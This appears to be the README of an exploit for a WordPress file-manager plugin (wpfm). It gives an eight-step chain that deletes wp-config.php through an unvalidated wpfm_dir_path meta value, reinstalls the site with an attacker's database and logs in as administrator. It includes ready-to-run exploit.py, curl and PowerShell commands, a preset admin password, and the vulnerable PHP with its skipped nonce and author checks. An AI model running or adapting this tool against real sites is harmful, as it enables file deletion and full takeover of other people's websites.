1. 检测插件 + 访客上传已启用
2. 自动从前端页面提取 AJAX nonce（隐藏输入字段）
3. 以访客身份上传文件 或 暴力破解现有文章 ID
4. 通过查询字符串绕过方式覆盖 wpfm_dir_path → 指向 wp-config.php
5. 触发 wpfm_delete_file → unlink(wp-config.php)
6. WordPress 进入设置模式 (setup-config.php)
7. 使用攻击者控制的数据库完成设置
8. 以管理员身份登录 → 完全接管

# 安装依赖
pip install -r requirements.txt

# 全自动利用（nonce 自动检测）
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# 仅检测
python exploit.py -u http://target.com --detect-only

# 手动指定 nonce（若自动检测失败）
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# 使用 Burp 代理
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# 自定义攻击者数据库配置
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

URL:      http://target.com/wp-login.php
用户名: shac1x
密码: Sh4c1x_Pwn3d!

bash poc_curl.sh http://target.com

.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("抱歉，此请求无法完成，请联系管理员", "wpfm"));
}*/

$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("抱歉，不允许", "wpfm"));
}
// 当访客上传开启时 → !$allow_guest = false → 整个检查被跳过

function delete_file_locally() {
    $file_path = $this->path;  // 来自 wpfm_dir_path 元数据 - 无验证
    if (file_exists($file_path)) {
        unlink($file_path);    // 任意文件删除
    }
}

function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // 回退：upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // 无规范化，无 realpath 检查
}